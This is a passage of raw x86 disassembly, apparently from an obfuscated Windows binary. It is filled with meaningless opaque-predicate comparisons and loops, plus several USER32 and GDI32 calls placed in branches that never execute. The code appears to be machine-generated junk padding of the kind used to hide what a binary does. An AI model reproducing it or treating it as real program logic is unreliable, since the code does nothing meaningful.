and dword [ebp - 0x9bc], 0
imul eax, dword [ebp - 0x9bc], 0xc63
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x19ac]
jg 0x44f375
mov dword [ebp - 0x12e4], 1
jmp 0x44f37c
and dword [ebp - 0x12e4], 0
mov eax, dword [ebp - 0x67c]
cmp dword [ebp - 0x12e4], eax
jne 0x44f39c
cmp dword [ebp - 0x240], 0
jne 0x44f39c
and dword [ebp - 0x768], 0
jmp 0x44f3a6
mov dword [ebp - 0x768], 1
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x768]
mov dword [ebp + eax - 0x18e8], ecx
mov eax, dword [ebp - 0x67c]
cmp dword [ebp - 0x768], eax
jg 0x44f3d3
mov dword [ebp - 0x9c4], 1
jmp 0x44f3da
and dword [ebp - 0x9c4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x650]
add eax, dword [ebp - 0x9c4]
cmp eax, 0x5996
jl 0x44f400
mov dword [ebp - 0x9cc], 1
jmp 0x44f407
and dword [ebp - 0x9cc], 0
mov eax, dword [ebp - 0x12ec]
cmp eax, dword [ebp - 0x9cc]
jge 0x44f421
mov dword [ebp - 0x12f4], 1
jmp 0x44f428
and dword [ebp - 0x12f4], 0
cmp dword [ebp - 0x12f4], 0xb42d
jne 0x44f440
mov dword [ebp - 0x9d4], 1
jmp 0x44f447
and dword [ebp - 0x9d4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x9d4]
mov dword [ebp + eax - 0x19ac], ecx
mov dword [ebp - 0x31c], 2
jmp 0x44f473
mov eax, dword [ebp - 0x31c]
dec eax
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 0
jl 0x44f505
mov dword [ebp - 0x684], 0xfffd
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x18e8], 0xfffffff8
push 0xfffffffffffffff8
pop eax
test eax, eax
je 0x44f4c5
mov eax, dword [ebp - 0x684]
mov ecx, dword [ebp - 0x684]
inc ecx
mov dword [ebp - 0x684], ecx
test eax, eax
je 0x44f4c5
mov dword [ebp - 0x12fc], 1
jmp 0x44f4cc
and dword [ebp - 0x12fc], 0
mov eax, dword [ebp - 0x31c]
mov eax, dword [ebp + eax*4 - 0x19ac]
cmp eax, dword [ebp - 0x12fc]
jne 0x44f4ed
mov dword [ebp - 0x9dc], 1
jmp 0x44f4f4
and dword [ebp - 0x9dc], 0
mov eax, dword [ebp - 0x9dc]
mov dword [ebp - 0x16d4], eax
jmp 0x44f466
mov dword [ebp - 0x2cc], 7
mov dword [ebp - 0x13ac], 0xc05b
mov dword [ebp - 0x13a8], 0xc05b
mov dword [ebp - 0x13a4], 0xc05b
mov dword [ebp - 0x13a0], 0xc05b
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x18], 3
jmp 0x44f54e
mov eax, dword [ebp - 0x18]
dec eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jl 0x44f6d0
mov dword [ebp - 0x758], 0xfffffffe
mov dword [ebp - 0x17c8], 5
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp + ecx*4 - 0x13ac]
cmp dword [ebp + eax*4 - 0x13ac], ecx
je 0x44f58e
mov dword [ebp - 0x1304], 1
jmp 0x44f595
and dword [ebp - 0x1304], 0
mov eax, dword [ebp - 0x1304]
mov dword [ebp - 0x758], eax
mov eax, 0x4320e32c
test eax, eax
je 0x44f69a
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x758]
cmp dword [ebp + eax*4 - 0x13ac], ecx
jle 0x44f5cc
mov dword [ebp - 0x9e4], 1
jmp 0x44f5d3
and dword [ebp - 0x9e4], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x9e4], eax
jle 0x44f5ea
mov dword [ebp - 0x130c], 1
jmp 0x44f5f1
and dword [ebp - 0x130c], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x13ac]
cmp dword [ebp - 0x130c], eax
jg 0x44f60f
mov dword [ebp - 0x9ec], 1
jmp 0x44f616
and dword [ebp - 0x9ec], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x13ac]
cmp dword [ebp - 0x9ec], eax
jl 0x44f634
mov dword [ebp - 0x1314], 1
jmp 0x44f63b
and dword [ebp - 0x1314], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x13ac]
sub eax, dword [ebp - 0x1314]
cmp eax, 0x3d2717f4
jl 0x44f664
mov eax, 0xee491ba6
test eax, eax
jne 0x44f664
and dword [ebp - 0x9f4], 0
jmp 0x44f66e
mov dword [ebp - 0x9f4], 1
imul eax, dword [ebp - 0x9f4], 0x3c6f
cmp eax, dword [ebp - 0x18]
jl 0x44f689
mov dword [ebp - 0x131c], 1
jmp 0x44f690
and dword [ebp - 0x131c], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x13ac]
mov eax, 0xb1da
cmp eax, 0xfa4c
jle 0x44f6b2
mov dword [ebp - 0x9fc], 1
jmp 0x44f6b9
and dword [ebp - 0x9fc], 0
mov eax, dword [ebp - 0x758]
sub eax, dword [ebp - 0x9fc]
mov dword [ebp - 0x17c8], eax
jmp 0x44f547
mov dword [ebp - 0x18], 3
jmp 0x44f6e0
mov eax, dword [ebp - 0x18]
dec eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jl 0x44f716
mov dword [ebp - 0x17d0], 0x39e6a413
mov dword [ebp - 0x17d8], 0xffffffff
mov dword [ebp - 0x17d0], 0x193fe696
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x13ac]
mov dword [ebp - 0x17d8], eax
jmp 0x44f6d9
mov dword [ebp - 0x114], 0xfffffffe
mov dword [ebp - 0x5e0], 0
jmp 0x44f739
mov eax, dword [ebp - 0x5e0]
inc eax
mov dword [ebp - 0x5e0], eax
cmp dword [ebp - 0x5e0], 3
jge 0x44f755
mov eax, dword [ebp - 0x5e0]
mov dword [ebp + eax*4 - 0x1e34], 0xffffffff
jmp 0x44f72c
mov dword [ebp - 0x114], 0
jmp 0x44f76e
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 2
jg 0x44f7a6
mov byte [ebp - 0x21f], 0
movzx eax, byte [ebp - 0x21f]
test eax, eax
je 0x44f7a4
push 0
push 0xfd
push 0
push 0
push 0x21b7
push 0x1e64
call dword [sym.imp.USER32.dll_ToAsciiEx]
jmp 0x44f761
mov dword [ebp - 0x114], 2
jmp 0x44f7bf
mov eax, dword [ebp - 0x114]
dec eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
jl 0x44f7e4
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x114]
mov eax, dword [ebp + eax - 0x1e34]
mov dword [ebp + ecx*4 - 0x1e34], eax
jmp 0x44f7b2
mov dword [ebp - 0x1a8c], 0xffffffff
mov dword [ebp - 0x1a88], 0xffffffff
mov dword [ebp - 0x1a84], 0xffffffff
mov dword [ebp - 0x1a80], 0xffffffff
mov dword [ebp - 0x1a4], 0
jmp 0x44f825
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 1
jge 0x44f841
mov eax, dword [ebp - 0x1a4]
mov dword [ebp + eax*4 - 0x358], 0xd4081c29
jmp 0x44f818
mov dword [ebp - 0x1a4], 0
jmp 0x44f85a
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 1
jge 0x44f876
mov eax, dword [ebp - 0x1a4]
mov dword [ebp + eax*4 - 0x17e0], 0xfffffff6
jmp 0x44f84d
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x358], 0
jmp 0x44f8a4
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x358]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x358], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x358], 3
jg 0x44f8f3
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x358]
cmp dword [ebp + eax*4 - 0x1a8c], 0xfffffffc
jb 0x44f8d7
mov dword [ebp - 0x1324], 1
jmp 0x44f8de
and dword [ebp - 0x1324], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1324]
mov dword [ebp + eax - 0x17e0], ecx
jmp 0x44f889
mov dword [ebp - 0x1dcc], 0x3623
mov dword [ebp - 0x5e8], 1
mov dword [ebp - 0x464], 0
jmp 0x44f920
mov eax, dword [ebp - 0x464]
inc eax
mov dword [ebp - 0x464], eax
cmp dword [ebp - 0x464], 1
jge 0x44f93c
mov eax, dword [ebp - 0x464]
mov dword [ebp + eax*4 - 0x1dd4], 0
jmp 0x44f913
mov dword [ebp - 0x5e8], 0
jmp 0x44f955
mov eax, dword [ebp - 0x5e8]
inc eax
mov dword [ebp - 0x5e8], eax
cmp dword [ebp - 0x5e8], 0
jg 0x44f989
mov byte [ebp - 0x239], 0
movzx eax, byte [ebp - 0x239]
test eax, eax
je 0x44f987
push 0xc55
push 0x1f49
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
jmp 0x44f948
mov dword [ebp - 0x784], 0x3af7
mov dword [ebp - 0xa14], 0x810d21df
mov dword [ebp - 0x17f8], 0xffffffff
mov dword [ebp - 0x46c], 0
jmp 0x44f9c0
mov eax, dword [ebp - 0x46c]
inc eax
mov dword [ebp - 0x46c], eax
cmp dword [ebp - 0x46c], 2
jge 0x44f9dc
mov eax, dword [ebp - 0x46c]
mov dword [ebp + eax*4 - 0x2a8], 0xf782
jmp 0x44f9b3
mov byte [ebp - 0x221], 0
movzx eax, byte [ebp - 0x221]
test eax, eax
je 0x44fa02
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetBkColor]
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x2a8]
cmp dword [ebp + eax - 0x2a8], ecx
jge 0x44fa2a
mov dword [ebp - 0x1334], 1
jmp 0x44fa31
and dword [ebp - 0x1334], 0
push 4
pop eax
shl eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x2a8]
cmp dword [ebp + eax - 0x2a8], ecx
jne 0x44fa59
mov dword [ebp - 0xa04], 1
jmp 0x44fa60
and dword [ebp - 0xa04], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2a8]
add eax, dword [ebp - 0xa04]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x2a8]
jne 0x44fa8e
mov dword [ebp - 0x17e8], 1
jmp 0x44fa95
and dword [ebp - 0x17e8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2a8]
mov dword [ebp - 0x1ddc], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x2a8]
cmp dword [ebp + eax - 0x2a8], ecx
jle 0x44fad0
mov dword [ebp - 0x132c], 1
jmp 0x44fad7
and dword [ebp - 0x132c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2a8]
cmp dword [ebp - 0x132c], eax
jle 0x44fb08
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2a8], 0
je 0x44fb08
mov dword [ebp - 0xa0c], 1
jmp 0x44fb0f
and dword [ebp - 0xa0c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2a8]
cmp eax, dword [ebp - 0xa0c]
je 0x44fb30
mov dword [ebp - 0x17f0], 1
jmp 0x44fb37
and dword [ebp - 0x17f0], 0
mov eax, dword [ebp - 0x1334]
mov dword [ebp - 0xa14], eax
mov eax, dword [ebp - 0xa14]
mov dword [ebp - 0x1de4], eax
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x2a8]
cmp dword [ebp + eax - 0x2a8], ecx
jg 0x44fb77
mov dword [ebp - 0x133c], 1
jmp 0x44fb7e
and dword [ebp - 0x133c], 0
mov eax, dword [ebp - 0x133c]
mov dword [ebp - 0x17f8], eax
mov dword [ebp - 0x4a4], 0xb622b607
mov dword [ebp - 0x5f0], 0xd6c05baf
mov dword [ebp - 0x11c], 0
jmp 0x44fbb7
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 4
jge 0x44fbd3
mov eax, dword [ebp - 0x11c]
mov dword [ebp + eax*4 - 0x2318], 0xb4074dd
jmp 0x44fbaa
mov dword [ebp - 0x11c], 0
jmp 0x44fbec
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 3
jge 0x44fc08
mov eax, dword [ebp - 0x11c]
mov dword [ebp + eax*4 - 0x1e44], 8
jmp 0x44fbdf
mov dword [ebp - 0x5f0], 0
jmp 0x44fc21
mov eax, dword [ebp - 0x5f0]
inc eax
mov dword [ebp - 0x5f0], eax
cmp dword [ebp - 0x5f0], 0x11
jl 0x44fcc9
mov dword [ebp - 0x1dec], 0xd3c891c5
mov dword [ebp - 0x1df4], 1
mov dword [ebp - 0x1dfc], 0x2121f90e
mov dword [ebp - 0x1e04], 0x32cf415d
mov dword [ebp - 0x1e0c], 0x5720b963
mov dword [ebp - 0x1e14], 0xec3203bd
mov dword [ebp - 0x1f38], 0xd49598aa
mov dword [ebp - 0x474], 0
jmp 0x44fc8d
mov eax, dword [ebp - 0x474]
inc eax
mov dword [ebp - 0x474], eax
cmp dword [ebp - 0x474], 2
jge 0x44fca9
mov eax, dword [ebp - 0x474]
mov dword [ebp + eax*4 - 0x220c], 0xfffffff9
jmp 0x44fc80
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1e44]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1e44], eax
jmp 0x44fc14
mov dword [ebp - 0x1cc], 1
mov dword [ebp - 0x194], 1
mov dword [ebp - 0x3a8], 1
mov dword [ebp - 0xa64], 0xd13bce8
mov dword [ebp - 0x1810], 1
mov dword [ebp - 0x16c], 0
jmp 0x44fd14
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 3
jge 0x44fd30
mov eax, dword [ebp - 0x16c]
mov dword [ebp + eax*4 - 0x7bc], 5
jmp 0x44fd07
mov dword [ebp - 0x16c], 0
jmp 0x44fd49
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 2
jge 0x44fd65
mov eax, dword [ebp - 0x16c]
mov dword [ebp + eax*4 - 0x1be8], 0xf6328da4
jmp 0x44fd3c
mov dword [ebp - 0x1cc], 2
jmp 0x44fd7e
mov eax, dword [ebp - 0x1cc]
dec eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0
jl 0x4503f5
mov dword [ebp - 0x1c], 5
mov dword [ebp - 0x2d4], 0xc46158e9
mov dword [ebp - 0x1818], 9
mov dword [ebp - 0x5f8], 0
jmp 0x44fdbf
mov eax, dword [ebp - 0x5f8]
inc eax
mov dword [ebp - 0x5f8], eax
cmp dword [ebp - 0x5f8], 2
jge 0x44fddb
mov eax, dword [ebp - 0x5f8]
mov dword [ebp + eax*4 - 0x7fc], 0xa445a8cc
jmp 0x44fdb2
mov dword [ebp - 0x1c], 2
jmp 0x44fdeb
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jl 0x45015e
mov dword [ebp - 0x304], 0xfc0272a
mov dword [ebp - 0x1808], 0xe4879289
mov dword [ebp - 0x1a2c], 0xcc70
mov dword [ebp - 0x1a28], 0xcc70
mov dword [ebp - 0x1a24], 0xcc70
mov dword [ebp - 0x1a20], 0xcc70
mov dword [ebp - 0x124], 0
jmp 0x44fe4a
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 3
jge 0x44fe66
mov eax, dword [ebp - 0x124]
mov dword [ebp + eax*4 - 0x1e54], 0x2f1e5c8a
jmp 0x44fe3d
mov dword [ebp - 0x124], 0
jmp 0x44fe7f
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 2
jge 0x44fe9b
mov eax, dword [ebp - 0x124]
mov dword [ebp + eax*4 - 0x1bd0], 0x3728
jmp 0x44fe72
mov dword [ebp - 0x304], 0
jmp 0x44feb4
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 2
jg 0x450159
mov dword [ebp - 0x47c], 0
jmp 0x44feda
mov eax, dword [ebp - 0x47c]
inc eax
mov dword [ebp - 0x47c], eax
cmp dword [ebp - 0x47c], 2
jge 0x44fef6
mov eax, dword [ebp - 0x47c]
mov dword [ebp + eax*4 - 0x1bdc], 0x8e56a96d
jmp 0x44fecd
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x1e54], 0x2bb2c593
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x7fc], 0x2bb2c593
mov dword [ebp - 0x194], 0
cmp dword [ebp - 0x194], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp + ecx*4 - 0x7bc]
cmp dword [ebp + eax - 0x1e54], ecx
cmp dword [ebp - 0x1c], 0
je 0x44ff5b
cmp dword [ebp - 0x304], 0
je 0x44ff5b
mov dword [ebp - 0x1800], 1
jmp 0x44ff62
and dword [ebp - 0x1800], 0
or eax, 0xffffffff
jne 0x44ff75
xor eax, eax
inc eax
jne 0x44ff75
and dword [ebp - 0xa1c], 0
jmp 0x44ff7f
mov dword [ebp - 0xa1c], 1
mov eax, dword [ebp - 0x304]
cmp eax, dword [ebp - 0xa1c]
jge 0x44ff99
mov dword [ebp - 0x1344], 1
jmp 0x44ffa0
and dword [ebp - 0x1344], 0
mov eax, dword [ebp - 0x1344]
neg eax
cmp eax, dword [ebp - 0x1808]
jne 0x44ffbc
mov dword [ebp - 0xa24], 1
jmp 0x44ffc3
and dword [ebp - 0xa24], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xa24]
sub ecx, dword [ebp + eax - 0x7bc]
mov dword [ebp - 0x3a8], ecx
cmp dword [ebp - 0x3a8], 0xffffffff
jle 0x44fff1
mov dword [ebp - 0x134c], 1
jmp 0x44fff8
and dword [ebp - 0x134c], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x7bc]
cmp dword [ebp - 0x134c], eax
jne 0x450016
mov dword [ebp - 0xa2c], 1
jmp 0x45001d
and dword [ebp - 0xa2c], 0
cmp dword [ebp - 0xa2c], 0x35a6
jne 0x450035
mov dword [ebp - 0x1354], 1
jmp 0x45003c
and dword [ebp - 0x1354], 0
cmp dword [ebp - 0x1354], 9
jg 0x450051
mov dword [ebp - 0xa34], 1
jmp 0x450058
and dword [ebp - 0xa34], 0
mov eax, dword [ebp - 0xa34]
sub eax, dword [ebp - 0x1c]
jne 0x45007c
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1bd0], 0
jne 0x45007c
and dword [ebp - 0x135c], 0
jmp 0x450086
mov dword [ebp - 0x135c], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7bc]
cmp dword [ebp - 0x135c], eax
jne 0x4500a7
mov dword [ebp - 0xa3c], 1
jmp 0x4500ae
and dword [ebp - 0xa3c], 0
cmp dword [ebp - 0xa3c], 0x3e4f
jle 0x4500d6
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x7fc], 0
je 0x4500d6
mov dword [ebp - 0x1364], 1
jmp 0x4500dd
and dword [ebp - 0x1364], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x7bc]
cmp eax, dword [ebp - 0x1364]
jg 0x4500fb
mov dword [ebp - 0x68c], 1
jmp 0x450102
and dword [ebp - 0x68c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x68c]
mov dword [ebp + eax - 0x1bdc], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x7bc]
imul eax, dword [ebp - 0x68c]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x1a2c]
jg 0x450141
mov dword [ebp - 0xa44], 1
jmp 0x450148
and dword [ebp - 0xa44], 0
mov eax, dword [ebp - 0xa44]
mov dword [ebp - 0x2d4], eax
jmp 0x44fea7
jmp 0x44fde4
cmp dword [ebp - 0x194], 0
je 0x45017c
mov eax, 0xb90cb933
test eax, eax
je 0x45017c
mov dword [ebp - 0x137c], 1
jmp 0x450183
and dword [ebp - 0x137c], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1f40], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7fc]
mov dword [ebp - 0x1f48], eax
mov eax, dword [ebp - 0x1cc]
mov eax, dword [ebp + eax*4 - 0x7bc]
push 4
pop ecx
shl ecx, 0
sub eax, dword [ebp + ecx - 0x7bc]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x7fc]
jg 0x4501d4
mov dword [ebp - 0x136c], 1
jmp 0x4501db
and dword [ebp - 0x136c], 0
mov eax, dword [ebp - 0x3a8]
cmp dword [ebp - 0x136c], eax
je 0x4501f5
mov dword [ebp - 0xa4c], 1
jmp 0x4501fc
and dword [ebp - 0xa4c], 0
cmp dword [ebp - 0xa4c], 0xcafa
je 0x450214
mov dword [ebp - 0x1374], 1
jmp 0x45021b
and dword [ebp - 0x1374], 0
mov eax, dword [ebp - 0xa64]
cmp dword [ebp - 0x1374], eax
jne 0x450235
mov dword [ebp - 0xa54], 1
jmp 0x45023c
and dword [ebp - 0xa54], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7fc]
cmp dword [ebp - 0xa54], eax
jge 0x450266
cmp dword [ebp - 0x2d4], 0
je 0x450266
mov dword [ebp - 0x734], 1
jmp 0x45026d
and dword [ebp - 0x734], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x734]
mov dword [ebp + eax - 0x7fc], ecx
mov eax, dword [ebp - 0x194]
add eax, dword [ebp - 0x734]
push 4
pop ecx
shl ecx, 1
imul eax, dword [ebp + ecx - 0x7bc]
sub eax, dword [ebp - 0x2d4]
mov dword [ebp - 0x2d4], eax
mov eax, dword [ebp - 0x2d4]
cmp dword [ebp - 0x1c], eax
jle 0x4502bc
mov dword [ebp - 0xa5c], 1
jmp 0x4502c3
and dword [ebp - 0xa5c], 0
mov eax, dword [ebp - 0x137c]
cmp eax, dword [ebp - 0xa5c]
jg 0x4502e6
cmp dword [ebp - 0x2d4], 0
je 0x4502e6
mov dword [ebp - 0x1384], 1
jmp 0x4502ed
and dword [ebp - 0x1384], 0
mov eax, dword [ebp - 0x1cc]
mov eax, dword [ebp + eax*4 - 0x7bc]
add eax, dword [ebp - 0x1384]
cmp eax, dword [ebp - 0xa64]
jne 0x450314
mov dword [ebp - 0x138c], 1
jmp 0x45031b
and dword [ebp - 0x138c], 0
mov eax, dword [ebp - 0x138c]
mov dword [ebp - 0x3a8], eax
mov eax, dword [ebp - 0x3a8]
mov dword [ebp - 0x1f50], eax
mov eax, dword [ebp - 0x1810]
mov dword [ebp - 0x1f58], eax
mov eax, dword [ebp - 0x1cc]
sub eax, dword [ebp - 0x1818]
cmp eax, dword [ebp - 0x1cc]
je 0x45035f
mov dword [ebp - 0xa6c], 1
jmp 0x450366
and dword [ebp - 0xa6c], 0
mov eax, dword [ebp - 0xa6c]
sub eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x1c]
jne 0x450380
mov dword [ebp - 0x1394], 1
jmp 0x450387
and dword [ebp - 0x1394], 0
mov eax, dword [ebp - 0x1394]
add eax, 7
cmp eax, 0xfffffff7
je 0x4503a1
mov dword [ebp - 0xa74], 1
jmp 0x4503a8
and dword [ebp - 0xa74], 0
cmp dword [ebp - 0xa74], 0xdef0
jg 0x4503c0
mov dword [ebp - 0x694], 1
jmp 0x4503c7
and dword [ebp - 0x694], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x694]
mov dword [ebp + eax - 0x1be8], ecx
mov eax, dword [ebp - 0x694]
mov dword [ebp - 0x1c], eax
imul eax, dword [ebp - 0x1c], 0xffff
mov dword [ebp - 0x194], eax
jmp 0x44fd71
mov dword [ebp - 0x194], 1
jmp 0x45040e
mov eax, dword [ebp - 0x194]
dec eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0
jl 0x450461
mov byte [ebp - 0x291], 0
movzx eax, byte [ebp - 0x291]
test eax, eax
je 0x45045f
push 0x613
push 0
push 0x900
push 0xcf2
push 0xa7e
push 0
push 0x25f7
push 0x2053
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawIconEx]
jmp 0x450401
mov dword [ebp - 0xc08], 3
mov dword [ebp - 0xa9c], 0x689bb5c
mov dword [ebp - 0x600], 0
jmp 0x45048e
mov eax, dword [ebp - 0x600]
inc eax
mov dword [ebp - 0x600], eax
cmp dword [ebp - 0x600], 2
jge 0x4504aa
mov eax, dword [ebp - 0x600]
mov dword [ebp + eax*4 - 0x404], 9
jmp 0x450481
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x404], 0
jmp 0x4504d8
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x404]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x404], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x404], 0xfffffff5
jg 0x450847
mov dword [ebp - 0x7c], 0x60f7e730
mov dword [ebp - 0x78c], 0xffff
mov dword [ebp - 0xaac], 1
mov dword [ebp - 0x12c], 0
jmp 0x450520
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 2
jge 0x45053c
mov eax, dword [ebp - 0x12c]
mov dword [ebp + eax*4 - 0x18c8], 4
jmp 0x450513
mov dword [ebp - 0x12c], 0
jmp 0x450555
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 4
jge 0x450571
mov eax, dword [ebp - 0x12c]
mov dword [ebp + eax*4 - 0x20a4], 0x832cb818
jmp 0x450548
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x1f60], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x404]
mov dword [ebp - 0x1820], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1820]
mov dword [ebp + eax - 0x18c8], ecx
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x1f68], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x404]
mov dword [ebp - 0x1f70], eax
mov eax, 0x8f1fe3d2
test eax, eax
je 0x4505ce
mov eax, 0x6ed4bca9
test eax, eax
jne 0x4505e7
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x18c8], 0
jne 0x4505e7
and dword [ebp - 0x139c], 0
jmp 0x4505f1
mov dword [ebp - 0x139c], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x139c]
sub ecx, dword [ebp + eax - 0x404]
cmp ecx, 0xa0e40209
jne 0x450618
mov dword [ebp - 0x1828], 1
jmp 0x45061f
and dword [ebp - 0x1828], 0
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x1f78], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x1f80], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x7c]
cmp dword [ebp + eax - 0x404], ecx
jne 0x45064f
mov dword [ebp - 0xa7c], 1
jmp 0x450656
and dword [ebp - 0xa7c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x404]
cmp dword [ebp - 0xa7c], eax
je 0x450677
mov dword [ebp - 0x13b0], 1
jmp 0x45067e
and dword [ebp - 0x13b0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x404]
add eax, dword [ebp - 0x13b0]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x404]
jne 0x4506ac
mov dword [ebp - 0xa84], 1
jmp 0x4506b3
and dword [ebp - 0xa84], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0xa84], eax
jge 0x4506ca
mov dword [ebp - 0x13b8], 1
jmp 0x4506d1
and dword [ebp - 0x13b8], 0
mov eax, dword [ebp - 0x7c]
imul eax, dword [ebp - 0x13b8]
cmp eax, dword [ebp - 0x7c]
jge 0x4506ec
mov dword [ebp - 0xa8c], 1
jmp 0x4506f3
and dword [ebp - 0xa8c], 0
imul eax, dword [ebp - 0xa8c], 0xcf6a
push 4
pop ecx
shl ecx, 1
